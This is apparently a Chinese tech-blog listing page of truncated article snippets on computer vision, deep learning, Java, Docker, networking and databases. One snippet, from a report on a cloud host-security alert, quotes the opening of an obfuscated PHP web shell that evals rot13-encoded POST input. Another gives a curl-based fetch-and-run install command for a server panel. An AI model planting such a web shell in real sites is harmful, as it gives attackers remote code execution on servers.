【IMU：视觉惯性SLAM系统】

视觉惯性SLAM系统简介 相机（单目/双目/RGBD)与IMU结合起来就是视觉惯性，通常以单目/双目IMU为主。 IMU里面有个小芯片可以测量角速度与加速度，可分为6轴(6个自由度)和9轴（9个自由度）IMU，具体的关于IMU的介…...

可以使用 Python 的 turtle 模块来实现烟花效果。下面是一个简单的示例代码，展示如何用 turtle 绘制烟花： import turtle import random# 设置屏幕 screen turtle.Screen() screen.bgcolor("black")# 创建烟花函数 def draw_firework(x, y):…...

import cv2 as cv import cv2 as cvbg cv.imread("test_images/background.jpg", cv.IMREAD_COLOR) fg cv.imread("test_images/forground.png", cv.IMREAD_COLOR)# 打印图片尺寸 print(bg.shape) print(fg.shape)resize_size (1200, 800)bg cv.resize…...

Lecture Notes Exercises 路由器的任务是根据路由表转发接收到的数据报：路由表是一系列规则，用于指导路由器针对任何给定的数据报应如何进行转发。 发送出什么接口。下一跳的IP地址。 这个check的工作是实现一个路由器，它可以为任何给定的…...

Pytorch | 从零构建ResNet对CIFAR10进行分类 CIFAR10数据集ResNet核心思想网络结构创新点优点应用 ResNet结构代码详解结构代码代码详解BasicBlock 类ResNet 类ResNet18、ResNet34、ResNet50、ResNet101、ResNet152函数 训练过程和测试结果代码汇总resnet.pytrain.pytest.py 前…...

Spring 整合 Redis 操作步骤总结 1. 添加依赖 首先&#xff0c;在 pom.xml 文件中添加必要的 Maven 依赖。Redis 相关的依赖包括 Spring Boot 的 Redis 启动器和 fastjson&#xff08;如果需要使用 Fastjson 作为序列化工具&#xff09;&#xff1a; <!-- Spring Boot Re…...

目录 方法的重载和重写、构造器1.java的修饰符&#xff1a;2.普通方法3.构造器&#xff08;也叫构造方法/构造函数&#xff09;4.方法的重载5.补充6.方法的重写7.类的执行顺序8.再看方法的重写 方法的重载和重写、构造器 1.java的修饰符&#xff1a; public修饰的代码&#xf…...

Vite 系列课程 1. 课程导论 1.1 为什么要学习 Vite&#xff1f; 1.1.1 Webpack vs. Vite&#xff1a;新旧霸主的交替&#xff1f; Webpack 长期以来一直是前端构建工具的事实标准&#xff0c;拥有庞大的用户群体、成熟的生态系统和丰富的学习资源。然而&#xff0c;随着前端技术…...

目录 scratch风车旋转 一、题目要求 编程实现 二、案例分析 1、角色分析 2、背景分析 3、前期准备 三、解题思路 1、思路分析 2、详细过程 四、程序编写 五、考点分析 六、推荐资料 1、入门基础 2、蓝桥杯比赛 3、考级资料 4、视频课程 5、python资料 scratc…...

Druid 作为使用率特别高的的数据库连接池工具，在具备完善的连接池管理功能外，同时Druid 的 SQL解析功能可以用来防止 SQL注入等安全风险。通过对 SQL 语句进行解析和检查，Druid 可以识别并阻止潜在的恶意 SQL 语句执行，黑名单（阻止特定的 SQL 语句执行）、白名单（仅允许特…...

1.编写机器学习代码 &#xff08;1&#xff09;新建一个 mlmodel.py import numpy as np import pandas as pd from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split from sklearn.linear_model import LogisticRegression from sk…...

链接无重复字符的最长子串题序号3类型字符串解题方法滑动窗口难度中等 题目 给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的 最长子串 的长度。 示例 1: 输入: s “abcabcbb” 输出: 3 解释: 因为无重复字符的最长子串是 “abc”&#xff0c;所以其长度为 3。 …...

1. 题目描述 给定一个数组 nums&#xff0c;编写一个函数将所有 0 移动到数组的末尾&#xff0c;同时保持非零元素的相对顺序。 请注意 &#xff0c;必须在不复制数组的情况下原地对数组进行操作。 示例 1&#xff1a; 输入: nums [0,1,0,3,12] 输出: [1,3,12,0,0] 示例 …...

一、系统背景与目的 随着全球经济的发展和人们生活水平的提高&#xff0c;个人财务管理变得越来越重要。传统的个人财务软件存在操作复杂、用户体验差、数据不安全等问题&#xff0c;无法满足用户的个性化需求。因此&#xff0c;开发一种基于Spring Boot的个人财务系统&#x…...

目录 一 、计算机网络的性能指标 二、具体介绍 1、速 率 2、带 宽 3、吞 吐 量 4、时 延 5、时延带宽积 6、往 返 时 延 7、信道利用率 一 、计算机网络的性能指标 计算机网络的性能指标就是从不同方面度量计算机网络的性能&#xff0c;有如下7个指标&#xff1a; 速…...

文章目录 一、Axure 是什么?二、Axure 的应用场景三、Axure 安装1. 下载安装2. 汉化授权 附&#xff1a;下载链接 一、Axure 是什么? 1、Axure 是一种强大的原型设计工具&#xff0c;它可以帮助设计师和产品经理快速创建交互式的、高保真度的原型&#xff0c;并进行用户体验…...

在Scala中&#xff0c;打印输出可以通过多种方式实现&#xff0c;以下是一些常见的打印输出方法&#xff1a; 1.使用printf()方法&#xff1a; 这是一种传统的C语言风格的打印方式&#xff0c;通过格式化字符串来控制输出的格式。例如&#xff0c;printf("整数&#xff1a…...

IPV4内网段 IP地址段地址范围地址数量用途描述0.0.0.0/80.0.0.0–0.255.255.25516777216SoftwareCurrent network (only valid as source address).10.0.0.0/810.0.0.0–10.255.255.25516777216Private networkUsed for local communications within a private network.100.64…...

方法: //预览图片 pic可传单个图片地址字符串 或 图片数组(带index) previewPic: function(pic, index) {if (!pic) return;if (index undefined) {let array [];array.push(pic);uni.previewImage({urls: array,current: array[0]});} else {uni.previewImage({urls: pic,…...

从单视图图像进行3D重建是计算机视觉和图形学中的一项基本任务&#xff0c;因为它在游戏设计、虚拟现实和机器人技术中具有潜在的应用价值。早期的研究主要依赖于直接在体素上进行3D回归&#xff0c;这往往会导致过于平滑的结果&#xff0c;并且由于3D训练数据的限制&#xff0…...

本篇将带你实现一个自定义天气预报组件。用户可以通过选择不同城市来获取相应的天气信息&#xff0c;页面会显示当前城市的天气图标、温度及天气描述。这一功能适合用于动态展示天气信息的小型应用。 关键词 UI互动应用天气预报数据绑定动态展示状态管理 一、功能说明 自定义…...

深圳龙岗一台DELL POWEREDGE R730XD服务器系统故障问题处理&#xff1a; 1&#xff1a;客户工厂年底产线整改&#xff0c;时不时的会意外断电&#xff0c;导致服务器也频繁停机&#xff0c; 2&#xff1a;多次异常停机后导致服务器开机后windows server系统无法正常启动了&…...

html如下 <div data-v-1cf6f280"" class"analysis-content">选项D错误&#xff1a;<strong>在衡量通货膨胀时&#xff0c;</strong><strong>消费者物价指数使用得最多、最普遍</strong>。 </div> 解析html文本 fro…...

AI图像生成网站 目录 一、项目介绍 二、雪花算法 三、JWT认证与令牌桶算法 四、项目架构 五、图床上传与图像生成API搭建 六、项目测试与优化 六、项目测试与优化 在开发过程中&#xff0c;性能优化是保证项目可扩展性和用户体验的关键步骤。本文将详细介绍我如何使用一…...

目录 一、Docker减小镜像大小的方式 1、基础镜像选择 2、减少镜像层数 3、清理无用文件和缓存 4、优化文件复制&#xff08;COPY和ADD指令&#xff09; 二、Docker镜像多阶段构建 1、什么是dockers镜像多阶段构建 1.1 概念介绍 1.2 构建过程和优势 2、怎样在Dockerfil…...

目录 部署Mysql 镜像和容器 常见命令 部署Mysql 可以有多个容器 docker run -d \--name mysql \-p 3306:3306 \-e TZAsia/Shanghai \-e MYSQL_ROOT_PASSWORD123 \mysql docker run -d \--name mysql2 \-p 3307:3307 \-e TZAsia/Shanghai \-e MYSQL_ROOT_PASSWORD123 \mys…...

一、Windows安装Docker 1.wsl安装 以管理员身份启动命令行&#xff0c;运行&#xff1a;wsl --install&#xff1b; 安装结束后&#xff0c;重启电脑&#xff0c;以管理员身份启动命令行&#xff0c;运行&#xff1a;wsl --install -d Ubuntu&#xff1b; 中间需要输入用户名…...

安全环检测核心思路与代码详解 项目目标 本项目的目标是检测图像中的安全环位置和方向。通过形状匹配技术&#xff0c;从一张模型图像中提取安全环的特征&#xff0c;并在后续图像中识别多个实例&#xff0c;完成检测和方向标定。 实现思路 安全环检测分为以下核心步骤&…...

系列文章目录 unity工具 文章目录 系列文章目录👉前言👉一、正则判断邮箱格式👉二、正则判断身份证号👉壁纸分享👉总结👉前言 C#正则表达式（Regex）是一种用来匹配字符串模式的强大工具。在C#中，可以使用System.Text.RegularExpressions命名空间下的Regex类来处…...

PostgreSQL表达式是数据库查询中非常重要的组成部分&#xff0c;它们由一个或多个值、运算符和PostgreSQL函数组合而成&#xff0c;用于计算出一个单一的结果。这些表达式类似于公式&#xff0c;可以用查询语言编写&#xff0c;并用于查询数据库中的特定数据集。 PostgreSQL表…...

类的教程 C 类的完整教程 C 中&#xff0c;类&#xff08;class&#xff09;是面向对象编程的核心概念&#xff0c;用于定义对象的属性&#xff08;数据成员&#xff09;和行为&#xff08;成员函数&#xff09;。本教程将带你从零开始&#xff0c;循序渐进地学习如何定义和使…...

问题来自于腾讯云的主机安全通知&#xff1a; &#x1f680;一键接入&#xff0c;畅享GPT及AI大模型服务&#xff01;【顶级API中转品牌】&#xff1a; https://api.ablai.top/ 病毒文件副本内容如下&#xff1a; <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…...

Pro更多功能预览地址https://pro.sun-panel.top/#/hpage/pro Github地址https://github.com/hslr-s/sun-panel?tabreadme-ov-file 首先确认宿主机网络环境符合要求 curl Google.com1.确认没问题后开始安装Docker opkg update opkg install dockerd docker luci-app-docker…...

在 MySQL 数据库的日常运维中&#xff0c;管理员可能会遇到各种错误。无论是查询性能问题、连接异常、数据一致性问题&#xff0c;还是磁盘空间不足等&#xff0c;及时排查并解决这些问题是保证数据库稳定运行的关键。本文将列出 MySQL 中一些常见的错误及其排查方法。 一、连接…...

一、长链接的工作原理 Register类其实也是基于基础的Worker开发的。Gateway进程和BusinessWorker进程启动后分别向Register进程注册自己的通讯地址&#xff0c;Gateway进程和BusinessWorker通过Register进程得到通讯地址后&#xff0c;就可以建立起连接并通讯了。而Gateway进程…...

module shift_register (output reg [7:0] Q, // 8位移位寄存器输出input D, // 输入数据input rst, // 复位信号input clk // 时钟信号 );always (posedge clk) beginif (!rst)Q < 8b00000000; // 复位时将Q清零elseQ < {Q[6:0], D}; // 否则…...

首先&#xff0c;我们需要定义一个 Person 类&#xff1a; open class Person {var name ""var age 0fun eat() {println("$name is eating.")} } 注意&#xff0c;Person 类前面加上了 open 关键字&#xff0c;表示这个类可以被继承。在 Kotlin 中&am…...

— Java 集合框架中的 List、ArrayList 和 泛型 在 Java 中&#xff0c;集合框架提供了许多不同类型的集合类&#xff0c;用于存储和操作对象。List 和 ArrayList 是最常用的两种集合类型&#xff0c;而泛型&#xff08;Generics&#xff09;则是 Java 中的一项重要特性&…...

一、概述 前面学习了GRE和IPSec VPN&#xff0c;今天继续学习另外一个也很常见的VPN类型-L2TP VPN。 L2TP&#xff08;Layer 2 Tunneling Protocol&#xff09; 协议结合了L2F协议和PPTP协议的优点&#xff0c;是IETF有关二层隧道协议的工业标准。L2TP是虚拟私有拨号网VPDN&…...

4.4.0 写在正文之前 这一节的内容其实就相当于C的智能指针移动语义在编译器层面做了一些约束。Rust中引用的写法通过编译器的约束写成了C中最理想、最规范的指针写法。所以学过C的人对这一章肯定会非常熟悉。 喜欢的话别忘了点赞、收藏加关注哦&#xff08;加关注即可阅读全文…...

环境安装 git clone https://gitcode.com/gh_mirrors/ll/LLaMA-Factory.gitcd LLaMA-Factorypip install -e ".[torch,metrics]"pip install deepspeed 下载模型 pip install modelscope modelscope download --model Qwen/Qwen2.5-7B-Instruct --local_dir /roo…...

哈喽，大家好，我是木头左！ 1. SQLAlchemy Core 简介 SQLAlchemy Core 是 SQLAlchemy 库的一个模块，它允许用户直接执行 SQL 语句而不必使用 ORM（对象关系映射）。对于需要精细控制 SQL 查询或处理复杂数据库操作的情况，SQLAlchemy Core 提供了一种灵活而强大的方式来与数…...

关键词&#xff1a;UnityEditor、可视化节点编辑、Unity编辑器自定义窗口工具 使用Newtonsoft.Json、UnityEditor相关接口实现 主要代码&#xff1a; Handles.DrawBezier(起点&#xff0c;终点&#xff0c;起点切线向量&#xff0c;终点切线向量&#xff0c;颜色&#xff0c;n…...

C# WinForm移除非法字符的输入框 文章目录 namespace System.Windows.Forms {using System.ComponentModel;/// <summary>/// 支持移除 非法字符 的输入框。/// </summary>public class RemoveInvalidCharTextBox : TextBox{/// <summary>/// 测试代码&#…...

宝塔面板安装教程&#xff1a;https://www.bt.cn/new/download.html?bt_lybaidu&sdclkidALfs15q615oG15As&bd_vid9358688624393223862 Centos/OpenCloud/Alibaba稳定版9.0.0 urlhttps://download.bt.cn/install/install_lts.sh;if [ -f /usr/bin/curl ];then curl -s…...

本篇内容是根据2017年2月份#34 Pachyderm, Provenance, Data Lakes音频录制内容的整理与翻译 Joe Doliner 加入了节目&#xff0c;谈论使用 Pachyderm 管理数据湖、数据容器、溯源(provenance) 以及其他有趣的 Go 项目和新闻。 Erik St. Martin: 大家好&#xff0c;欢迎收听新…...

第一范式&#xff08;1NF&#xff09; 每列的原子性&#xff0c;表中的每一个字段都是不可分割的&#xff0c;同一列中不能有多个值。第一范式是对关系模式的基本要求&#xff0c;不满足第一范式的数据库不是关系型数据库。 ・不满足第一范式的示例&#xff1a; 学生编号 学生…...

本代码的主要功能是建模 LOS&#xff08;视距&#xff09;和 NLOS&#xff08;非视距&#xff09;环境下的定位系统&#xff0c;估计目标的动态位置&#xff0c;三维空间 文章目录 运行结果源代码代码介绍 总结 运行结果 10个点的轨迹定位&#xff1a; 50个点的轨迹定位&#…...

已经学完html了&#xff0c;继续学习前端三剑客html、css、js之一的css。&#x1f600; 1、什么是css css&#xff1a;用于网页结构的布局和修饰的一种样式脚本 层叠样式表&#xff1a;(英文全称&#xff1a;Cascading Style Sheets)&#xff0c; 简称&#xff1a;样式表&…...

探索 Bokeh&#xff1a;轻松创建交互式数据可视化的强大工具 在数据科学和数据分析领域&#xff0c;交互式数据可视化是一项不可或缺的技能。Bokeh 是一个强大的 Python 库&#xff0c;它可以帮助我们快速构建高质量的交互式图表和仪表盘&#xff0c;同时兼具高性能和灵活性。…...